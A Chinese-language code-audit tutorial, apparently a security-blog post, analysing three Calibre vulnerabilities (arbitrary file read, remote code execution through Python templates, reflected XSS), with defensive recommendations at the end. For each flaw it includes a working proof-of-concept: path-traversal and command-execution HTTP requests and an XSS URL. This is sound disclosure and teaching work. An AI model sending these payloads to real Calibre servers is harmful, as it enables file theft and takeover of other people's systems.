Calibre代码审计集合
字数 1925
更新时间 2025-11-08 10:04:01

Calibre代码审计与漏洞分析教学文档

一、环境搭建

1.1 漏洞影响版本

  • Calibre <= 7.14.0

1.2 项目获取与构建

# 项目地址:calibre
Python setup.py build_dep windows  # 构建依赖项
Python setup.py win64 --dont-sign  # 安装

1.3 服务启动

安装完成后在操作页面开启服务

二、Calibre架构分析

2.1 核心模块机制

Calibre各个模块文件主要通过cdb.py调用,其中定义了电子书数据库执行操作所用的一系列API。

2.2 动态路由机制

  • 路由器根据HTTP请求路径动态导入辅助模块
  • 模块命名格式:cmd_*.py
  • 示例:请求路由/cdb/cmd/export时,路由器解析出模块名称cmd_export
  • 发包请求体内容作为参数传入,触发相应操作

2.3 核心代码分析(src/calibre/srv/cdb.py)

关键函数逻辑:

def module_for_cmd(which):
    # 动态加载模块
    # 如果模块readonly属性为False,会调用ctx.check_for_write_access(rd)检查写权限
    # 模块加载是动态的,which参数未进行路径限制或校验

安全绕过机制:

  • 如果模块readonly属性设置为True,可通过传入该模块名绕过check_for_write_access检查
  • 通过m.implementation方法调用对应模块的implementation方法

三、CVE-2024-6781 任意文件读取漏洞

3.1 漏洞位置

  • 文件:src/calibre/db/cli/cmd_export.py

3.2 漏洞分析

  1. 权限绕过readonly模块变量为True,绕过check_for_write_access()检查
  2. 危险函数:当actionextra_file时,调用db.copy_extra_file_to()方法
  3. 路径遍历relpath参数未过滤,直接用于构建相对路径读取文件
  4. 数据返回:文件内容存储到BytesIO变量并返回给用户

3.3 漏洞复现

请求包构造:

POST /cdb/cmd/export HTTP/1.1
Host: ip:8080
Content-Type: application/json

["extra_file", 1, "../../../../../Users//321.txt", ""]

利用要点:

  • 使用路径遍历字符串../../../../访问系统任意文件
  • 第二个参数为书籍ID(示例中为1)
  • 第四个参数为空字符串

四、CVE-2024-6782 远程代码执行漏洞

4.1 漏洞位置

  • 文件:src/calibre/db/cli/cmd_list.py

4.2 漏洞分析

  1. 权限绕过readonly值为True,绕过权限校验
  2. 模板参数控制field == 'template'时,用户可控制template参数
  3. 格式化处理
    • 初始化字典vals存储格式化结果
    • 调用safe_format方法处理用户提供的template参数
  4. 代码执行链
    • formatter.safe_format()evaluate()函数
    • 如果参数以python:开头,直接解析执行Python代码
    • 无输入过滤和验证机制

4.3 漏洞复现

请求包构造:

POST /cdb/cmd/list HTTP/1.1
Host: ip:8080
Content-Type: application/json
Content-Length: 303

[
["template"],
"",
"",
"",
1,
"python:def evaluate(a, b):\n import subprocess\n try:\n return subprocess.check_output(['cmd.exe', '/c', 'whoami']).decode()\n except Exception:\n return subprocess.check_output(['sh', '-c', 'whoami']).decode()"
]

利用要点:

  • 模板参数必须以python:开头
  • 使用subprocess模块执行系统命令
  • 支持跨平台命令执行(Windows cmd.exe和Unix sh)

五、CVE-2024-7008 反射型XSS漏洞

5.1 漏洞位置

  • 文件:src/calibre/srv/legacy.py

5.2 漏洞分析

  1. 路由模式:请求路由为/browse/book/{%}形式
  2. 直接插入:用户输入的rest参数直接插入redirect变量
  3. HTML/JS拼接:使用lxml函数将变量拼接到HTML和JavaScript代码中
  4. 缺乏过滤:参数无清理和转义,可直接闭合字符串执行恶意代码

5.3 漏洞复现

Payload构造:

http://ip:8080/browse/book/TEST&quot;;window.stop();alert(document.location);%2f%2f

利用要点:

  • 使用双引号闭合原有字符串:"
  • window.stop()停止页面加载
  • alert(document.location)演示XSS效果
  • URL编码确保正确传输

六、安全防护建议

6.1 输入验证与过滤

  • 对所有用户输入进行严格的路径校验
  • 实现输入白名单机制
  • 对特殊字符进行转义处理

6.2 权限控制增强

  • 重新评估readonly属性的安全含义
  • 实现更严格的权限检查机制
  • 避免通过属性设置绕过安全控制

6.3 代码执行防护

  • 对动态代码执行进行沙箱隔离
  • 限制可执行的Python代码范围
  • 实现代码签名验证机制

6.4 输出编码

  • 对所有输出到HTML的内容进行编码
  • 实施Content Security Policy策略
  • 使用安全的模板引擎

七、总结

本次审计揭示了Calibre软件在多个安全维度存在的严重漏洞,包括:

  1. 路径遍历导致任意文件读取
  2. 代码注入导致远程命令执行
  3. 输入验证缺失导致XSS攻击

这些漏洞的根本原因在于对用户输入缺乏充分的验证和过滤,以及权限控制机制存在设计缺陷。建议开发者在类似项目中引以为戒,建立完善的安全开发生命周期。

相似文章
相似文章
 全屏